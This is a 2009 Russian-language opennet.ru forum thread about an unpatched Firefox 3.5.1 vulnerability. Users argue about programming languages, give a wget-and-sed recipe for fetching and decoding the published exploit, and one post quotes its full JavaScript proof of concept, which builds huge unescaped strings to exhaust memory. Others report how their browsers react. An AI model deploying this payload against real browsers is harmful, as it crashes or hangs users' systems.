Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы		[ Отслеживать ]

Новая уязвимость Firefox, не исправленная в версии 3.5.1, opennews (??), 19-Июл-09, (0) [смотреть все] Опять детские проблемы C Всё никак не повзрослеет Страуструпп хорошую мину п, iZEN (ok), 22:40 , 19-Июл-09, (8) // gt оверквотинг удален Не проще использовать C Python , Lindemidux (??), 22:52 , 19-Июл-09, (10) –1 // не это он на жабу намекал типа в ней ни дырок, ни уязвимостей никогда не было , vitek (??), 23:28 , 19-Июл-09, (17) +1 // тише, тише сейчас ещё мегакрутые vb кодеры из могил повылазают , Karbofos (??), 07:10 , 20-Июл-09, (45) +5 Скорее повстают яваненавистники и будут делиться своим эстетическим восприятием , Zenitur (?), 04:31 , 21-Июл-09, (87) да как практика говорит о том, что ява тормозит буквально на прошлой неделе пол, Karbofos (??), 11:33 , 21-Июл-09, (90) Всю жизнь думал, что Qt -- это библиотека виджетов тулкит , написанная на C , iZEN (ok), 21:35 , 21-Июл-09, (99) это с а ты не в курсях бедняжка представляй жедаемое за действиьельное не, Karbofos (??), 23:15 , 21-Июл-09, (101) Ну разве что на чиста поржать Ява - она для всякой бизнес-логики на серв, Warhead Wardick (?), 18:56 , 20-Июл-09, (60) А там все просто, бизнесу надо чтоб было все еще вчера А то что тормозно - не бе, User294 (ok), 20:09 , 20-Июл-09, (65) –1 кстати, сильно быстрее писать программы все равно не будет выходить видел извра, Karbofos (??), 21:34 , 20-Июл-09, (81) Более того - придется или сэкономить на отладке и процессах qa или отдать клиент, User294 (ok), 12:31 , 26-Июл-09, (117) Код Netscape Navigator пятнадцатилетней давности и правда, вызывает мало смеха , iZEN (ok), 21:37 , 21-Июл-09, (100) Напишите ваш С блекджеком и шлюхами Можете на яве Или на чем там вам удобно А мы, User294 (ok), 23:43 , 21-Июл-09, (104) УЖЕ написан http workshop evolutionzone com 2007 08 30 jdic-embedding-a-web-br, iZEN (ok), 14:02 , 22-Июл-09, (105) И что ж им тогда никто не пользуется Вы, кстати, можете уже начинать использоват, User294 (ok), 23:39 , 23-Июл-09, (109) Не, я не такой одноклассник, чтобы разом больше 20 табов открывать Я не могу та, iZEN (ok), 00:18 , 24-Июл-09, (110) Не знаю как там насчет одноклассников но вот например открыть 20 описаний похожи, User294 (ok), 12:45 , 26-Июл-09, (118) Да Файрфокс на яве Минимальные системные требования небольшой суперкомпьютер от, User294 (ok), 20:06 , 20-Июл-09, (64) В каком году ты последний раз запускал Java-приложение, сложнее Блокнота, на сво, iZEN (ok), 14:42 , 22-Июл-09, (106) Еще скажите что в файрфоксе нечему тормозить А что ж тогда опера, файрфокс и гуг, User294 (ok), 23:36 , 23-Июл-09, (108) В Firefox тормозит XUL Не буду объяснять, что это такое -- ищи сам Да JFC Swing, iZEN (ok), 00:23 , 24-Июл-09, (111) Именно поэтому он никогда быстрее Оперы по запуску и нагрузке на процессор не бу, ФФФФ (?), 11:45 , 25-Июл-09, (113) Я без ваших умничаний в курсе что такое XUL Вот только он тормозит там где он ес, User294 (ok), 12:20 , 26-Июл-09, (114) Хоть брэйнфак используйте Только если оно будет тормозить и жрать память больше , User294 (ok), 20:38 , 20-Июл-09, (71) причем тут страуструпп проблема идет из C то что многие программисты на Ц не, Mike Lee (?), 01:03 , 20-Июл-09, (25) +4 // Гыгыгы То есть как только заюзаещь stl - проблемы кончаются Ню-ню , Warhead Wardick (?), 18:58 , 20-Июл-09, (61) Точно подмечено Жесть Imho по-нормальному класс, хранящий строку, не должен про, Iv945n (ok), 03:07 , 20-Июл-09, (32) // да куда уж точнее -Dуж и stl в стандарте лет эдак 10 минимум, и стандартная ст, vitek (??), 03:39 , 20-Июл-09, (37) +3 // Так чтож они ими не пользуются - Как-то не хочется верить что оин из флагма, Iv945n (ok), 03:53 , 20-Июл-09, (39) хороший вопрос но по закону Мёрфи - дерьмо случается наберите например в гугл, vitek (??), 04:08 , 20-Июл-09, (40) +3 Все так Но почему-то фанаты жабы про это вспоминать не любят Не в обиду фанам жа, User294 (ok), 20:18 , 20-Июл-09, (66) firefox написан больней частью на С С тут не причем, У С и С очень разные , anonim (?), 09:42 , 20-Июл-09, (51) +1 // Сабж Я вот смотрел, и много, и код в проект отправлял COM-подобный XPCOM с Saf, Spase (?), 14:55 , 20-Июл-09, (58) +2 Аха - счазз То есть ты - элементарно не знаешь, ну ИВот тебе балбес линк на ту, Warhead Wardick (?), 19:08 , 20-Июл-09, (62) // C - 71 1 , pavlinux (ok), 20:22 , 20-Июл-09, (68) А 57 JS как с этим согласуются Вы там что анализируете Alcohol 120 Или откуд, User294 (ok), 20:40 , 20-Июл-09, (72) +1 А я то чего, я по ссылке посмотрел, там вообще крутая математика shell script , pavlinux (ok), 00:53 , 21-Июл-09, (82) Итого файрфокс на более чем 120 состоит из make файлов и шеллскриптов Круто , User294 (ok), 23:40 , 21-Июл-09, (103) Firefox написан на C , смотрите код , me (??), 02:55 , 21-Июл-09, (85) Снова эстетическим восприятием неизведанного делитесь Скачай исходник, поищи фа, Zenitur (?), 04:33 , 21-Июл-09, (88) Это в плане перепишем файрфокс на яве - даешь тормоза не по детски D, User294 (ok), 19:52 , 20-Июл-09, (63) Хм А www-client mozilla-firefox-3 5-r3 падает Gentoo с последними обновлениями, Роман (??), 23:23 , 19-Июл-09, (15) // Проверил оперу 10 Не падает, хотя и крепко задумывается , Роман (??), 00:16 , 20-Июл-09, (18) // скрипту не хватает памяти для исполнения выделено 400 метров, аноним (?), 00:29 , 20-Июл-09, (19) +1 // Однако проверяли то лису И она падает Что печально , Роман (??), 00:35 , 20-Июл-09, (20) Собирали с fstack-protector -all Что падает - не печально Печально, если переп, abbadon (?), 00:41 , 20-Июл-09, (21) Угу, если падает это даже хорошо, главное чтобы не позволилиа при падении выполн, SkyRanger (ok), 03:09 , 20-Июл-09, (33) С этим флагом не все собирается Но лису пересобрал В консоль при крахе падаетGL, Роман (??), 07:50 , 20-Июл-09, (47) На х86_64 не работает Так что дружно переходим на 64-битные ОС , Azger (?), 02:31 , 20-Июл-09, (29) +5 // Воистину, скорее бы мэйнстрим перевели на 64-bit Хочется уже начать вспоминать , Iv945n (ok), 03:11 , 20-Июл-09, (34) +4 // А нормальный чистый дос был 16-битным P, User294 (ok), 12:23 , 26-Июл-09, (115) // Таки да - Вот и хочется уже к нему в компанию отправить и 32-битнй софтвер , Iv945n (ok), 02:18 , 27-Июл-09, (119) Падает, падает - http pavlinux ru rk ff-3 5 1-kill html NoScript не забывае, pavlinux (ok), 20:29 , 20-Июл-09, (69) // Не падает Опера Все полтора гига обрабатывает и открывает страницу Может у тя , Онанийм (?), 20:56 , 20-Июл-09, (78) // 4Гб Запущаю ессессенно не под рутом, pavlinux (ok), 00:57 , 21-Июл-09, (83) Я позволю себе без перевода процитировать здесь выдержку из Security ленты Mozil, crypt (??), 06:11 , 20-Июл-09, (41) +3 // Ну понятно, Эппл как всегда подтвердил статус решета а остальные почему-то воспр, User294 (ok), 20:21 , 20-Июл-09, (67) А нахрен нам тут без перевода ссылки хватило бы , pavlinux (ok), 20:40 , 20-Июл-09, (73) +1 Эмм, FF 3 5 1, на MacOS X 10 5 7 FF выжрал 1,8 гигобайт оперативы, минуту жрал , MaxOnNet (?), 12:38 , 21-Июл-09, (91) Да у Мозилы уязвимости не опасные, посмотрите на дырявый виндузный конкуретн, Аноним (-), 07:58 , 20-Июл-09, (49) +1 1 Неясно, почему вообще речь идёт о _stack_ overflow, если размещение строк про, poige (ok), 09:36 , 20-Июл-09, (50) +2   // Сорри, туповат Что надо заменить на что Я хочу проверить у себя тоже , Абабагаламага (?), 11:25 , 20-Июл-09, (54)   // пля, html сущностиhtml_entity_decode cgi unescape , fix (??), 11:46 , 20-Июл-09, (55) –1   // Все просто wget http downloads securityfocus com vulnerabilities exploits 3570, Шурек Табуреткин (?), 14:08 , 20-Июл-09, (57)   Firefox 3 0 1 Сделал как написано Открывает текст html head script langua, patsev.antongmail.com (?), 17:13 , 20-Июл-09, (59)   http www opennet ru openforum vsluhforumID3 57057 html 69, pavlinux (ok), 20:42 , 20-Июл-09, (74)   firefox 3 5 1 x86_64 - результат тот же, аноним (?), 21:27 , 20-Июл-09, (80)   Проверил на IE 8 - завис , Аноним (-), 09:55 , 20-Июл-09, (52) +2 // IE7 version 7 0 5730 11 - ПОФИГ http s08 radikal ru i181 0907 db 27e2bd9d9, pavlinux (ok), 02:33 , 21-Июл-09, (84) // заметил что IE виснет только если открывать эту страницу с диска сохраненной , Аноним (-), 16:35 , 21-Июл-09, (97) На х86_64 iceweasel 3 0 6 повесил систему Да, 3 0 6 Нет, я не некрофил , sp0_of (??), 11:20 , 20-Июл-09, (53) // Не нет, а да Он самый , Аноним (-), 13:45 , 20-Июл-09, (56) Зато жертва рекламы Вот и хорошо, что не работает Кому какое дело, нравится те, Zenitur (?), 04:46 , 21-Июл-09, (89) // Жертва рекламы Да, я пользую icewesel из debian овских репозиториев, потому что, sp0_of (??), 14:44 , 21-Июл-09, (95) А что все молчат, что Опера тоже на этом примере отжирает оперативу, занимает 10, AnOn (?), 20:31 , 20-Июл-09, (70) // Лучше скажите - кто на этом не давится , User294 (ok), 20:42 , 20-Июл-09, (75) http www opennet ru openforum vsluhforumID3 57057 html 69, pavlinux (ok), 20:42 , 20-Июл-09, (76) http www opennet ru openforum vsluhforumID3 57057 html 18, аноним (?), 20:44 , 20-Июл-09, (77) Не падает Опера Памяти отжирает 1,5 гига, все выполняет и возвращается в нормал, Онанийм (?), 20:58 , 20-Июл-09, (79) Опять Ява Кстати, а третья версия какой была первой, которую можно было использо, Zenitur (?), 04:26 , 21-Июл-09, (86) –1 // Полцарства за FireFox с Java от третьей версии , Zenitur (?), 06:15 , 23-Июл-09, (107) –1 // А что мешает юзать FF3 Он пока еще поддерживаемый и пока его снимут с поддержки, User294 (ok), 12:28 , 26-Июл-09, (116) 8,15,29,41,49,50,52,53,70,86

Сообщения

[Сортировка по времени | RSS]

50. "Новая уязвимость Firefox, не исправленная в версии 3.5.1"	+2 +/–
Сообщение от poige (ok), 20-Июл-09, 09:36
1) Неясно, почему вообще речь идёт о _stack_ overflow, если размещение строк происходит в heap. 2) Сейчас exploit с http://downloads.securityfocus.com/vulnerabilities/exploits/... скачивается в таком виде, что нужно вручную заменить все <, "e и т. п.. Тогда будет работать -- жрать память, пока система не скажет "баста". Но даже в этом случае, браузер не завершает работу -- на Linux x86_64. 3) Судя по всему, разработчики совершенно правы, когда говорят о том, что только для Mac OS X эта проблема более критична, в связи с ошибкой внутри системной библиотеки. P. S. Кол-во мосек, которым не хочется включить мозг и подумать, зато так нравится обтявкать всё вокруг, включая C++, умиляет. "Ай, моська..." (c)
Ответить | Правка | Наверх | Cообщить модератору

	54. "Новая уязвимость Firefox, не исправленная в версии 3.5.1"	+/–
	Сообщение от Абабагаламага (?), 20-Июл-09, 11:25
	Сорри, туповат. Что надо заменить на что? Я хочу проверить у себя тоже.
	Ответить | Правка | Наверх | Cообщить модератору

	55. "Новая уязвимость Firefox, не исправленная в версии 3.5.1"	–1 +/–
	Сообщение от fix (??), 20-Июл-09, 11:46
	>Сорри, туповат. Что надо заменить на что? пля, html сущности html_entity_decode() cgi.unescape()
	Ответить | Правка | Наверх | Cообщить модератору

	57. "Новая уязвимость Firefox, не исправленная в версии 3.5.1"	+/–
	Сообщение от Шурек Табуреткин (?), 20-Июл-09, 14:08
	Все просто: wget http://downloads.securityfocus.com/vulnerabilities/exploits/... sed -i 's/</</g;s/>/>/g;s/"/"/g' 35707.html firefox file:///`pwd`/35707.html
	Ответить | Правка | Наверх | Cообщить модератору

	59. "Новая уязвимость Firefox, не исправленная в версии 3.5.1"	+/–
	Сообщение от patsev.antongmail.com (?), 20-Июл-09, 17:13
	Firefox 3.0.1. Сделал как написано. Открывает текст: <html> <head> <script language="JavaScript" type="Text/Javascript">  var str = unescape("%u4141%u4141"); var str2 = unescape("%u0000%u0000"); var finalstr2 = mul8(str2, 49000000); var finalstr = mul8(str, 21000000); document.write(finalstr2); document.write(finalstr); function mul8 (str, num) { var i = Math.ceil(Math.log(num) / Math.LN2), res = str; do { res += res; } while (0 < --i); return res.slice(0, str.length * num); } </script> </head> <body> </body> </html> <html><body></body></html>
	Ответить | Правка | Наверх | Cообщить модератору

	74. "Новая уязвимость Firefox, не исправленная в версии 3.5.1"	+/–
	Сообщение от pavlinux (ok), 20-Июл-09, 20:42
	>Firefox 3.0.1. Сделал как написано. https://www.opennet.ru/openforum/vsluhforumID3/57057.html#69
	Ответить | Правка | Наверх | Cообщить модератору

	80. "Новая уязвимость Firefox, не исправленная в версии 3.5.1"	+/–
	Сообщение от аноним (?), 20-Июл-09, 21:27
	firefox 3.5.1 x86_64 - результат тот же
	Ответить | Правка | К родителю #59 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема